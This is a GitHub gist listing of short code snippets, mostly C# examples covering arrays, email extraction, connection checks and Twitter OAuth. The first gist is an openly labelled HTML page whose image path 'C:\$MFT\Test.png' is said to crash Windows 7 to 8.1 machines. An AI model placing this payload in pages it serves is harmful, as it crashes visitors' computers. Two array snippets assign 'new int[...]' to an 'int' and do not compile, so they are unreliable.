Skip to content

Instantly share code, notes, and snippets.

@vkbandi
vkbandi / DoNotOpen_MFT_BugDemo.html
Last active May 26, 2017 12:26
A simple html, which when opened in windows machine with a $MFT bug will crash that machine
<html>
<head>
<title>
Restart your PC, if you are on windows 7, 8, 8.1
</title>
</head>
<body>
<a href='https://coderbuddy.wordpress.com/2017/05/26/mft-bug-in-windows-7-others/'>Click to read more about this</a>
<img src='C:\$MFT\Test.png' />
</body>
@vkbandi
vkbandi / StoreValuesInArray.cs
Created September 16, 2015 20:45
Simple code to show how to store values in array in C#
int myArray = new int[10];
for (int i = 0; i < myArray.Length; i++)
{
myArray[i] = i;
}
@vkbandi
vkbandi / ArrayDeclaration.cs
Created September 16, 2015 20:43
Array declaration in C#
//DataType[] Array_Name=new string[Array_Length];
int[] myArray=new int[10];
@vkbandi
vkbandi / ResizeArray.cs
Created September 16, 2015 20:41
Resizing an array at runtime in C#
int myArray = new int[0];
for (int i = 0; i < 10; i++)
{
Array.Resize(ref myArray, myArray.Length+1);
myArray[myArray.Length - 1] = i;
}
@vkbandi
vkbandi / ExtractEmail.cs
Last active July 6, 2021 19:54
C# code to extract Email from text
using System;
using System.Collections.Generic;
using System.Text;
using System.Text.RegularExpressions;
namespace Coderbuddy
{
public class ExtractEmail
{
public List<string> ExtractEmails(string textToScrape)
@vkbandi
vkbandi / FileNameFromURL.cs
Created September 16, 2015 20:27
C# simple class to convert a URL into acceptable windows file name
using System;
using System.Collections.Generic;
using System.Text;
using System.Text.RegularExpressions;
namespace Coderbuddy
{
public class FileNameFromURL
{
public string ConvertToWindowsFileName(string urlText)
@vkbandi
vkbandi / CheckInternetConnection.cs
Created September 16, 2015 20:22
C# class to check for internet Connection
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
namespace Coderbuddy
{
public class CheckInternetConnection
{
@vkbandi
vkbandi / OAuthTwitterProcessResultsDemo.cs
Created September 16, 2015 20:19
A simple C# script for showing how to analyze the results from twitter json - code snippet for coderbuddy.wordpress.com
//The following code is a straight copy from jamiedigi.com
HashTable jsonHash = (Hashtable)JSON.JsonDecode(jsonCode);
ArrayList jsonResults = (ArrayList)jsonHash["results"];
foreach (object objResult in jsonResults)
{
Hashtable jsonResult = (Hashtable)objResult;
System.Diagnostics.Debug.WriteLine("User ID: "
+ jsonResult["from_user_id"].ToString());
System.Diagnostics.Debug.WriteLine("Tweet text: "
+ jsonResult["text"].ToString());
@vkbandi
vkbandi / OAuthTwitterQueryDemo.cs
Created September 16, 2015 20:15
A simple code to show how to query using the OAuth twitter class
//Replace the term search_keyword with a term you want to search
//rpp=100 in the url means results per page is 100, and lang=en means
//Language is english
string result = oauth.oAuthWebRequest(oAuthTwitter.Method.GET, "http://search.twitter.com/search.json", "q=" + search_keyword + "&rpp=100&lang=en");
@vkbandi
vkbandi / OauthTwitterInitilizeDemo.cs
Created September 16, 2015 20:13
A sample code to show how to initalize oAuthTwitter instance
oAuthTwitter oauth = new oAuthTwitter();
//Replace the vlues with the one's provided by twitter
oauth.ConsumerKey = "Your-twitter-oauth-consumerkey";
oauth.ConsumerSecret = "Your-twitter-oauth-consumersecret";
//Launches your default browser for requesting //authentication
System.Diagnostics.Process.Start(oauth.AuthorizationLinkGet());
//Copy the pin provided after you authenticating and save to a string
//I am assuming you store it in a string twitterpin
//Now the real authentication takes place
//you will exchange the authtoken and pin for Access token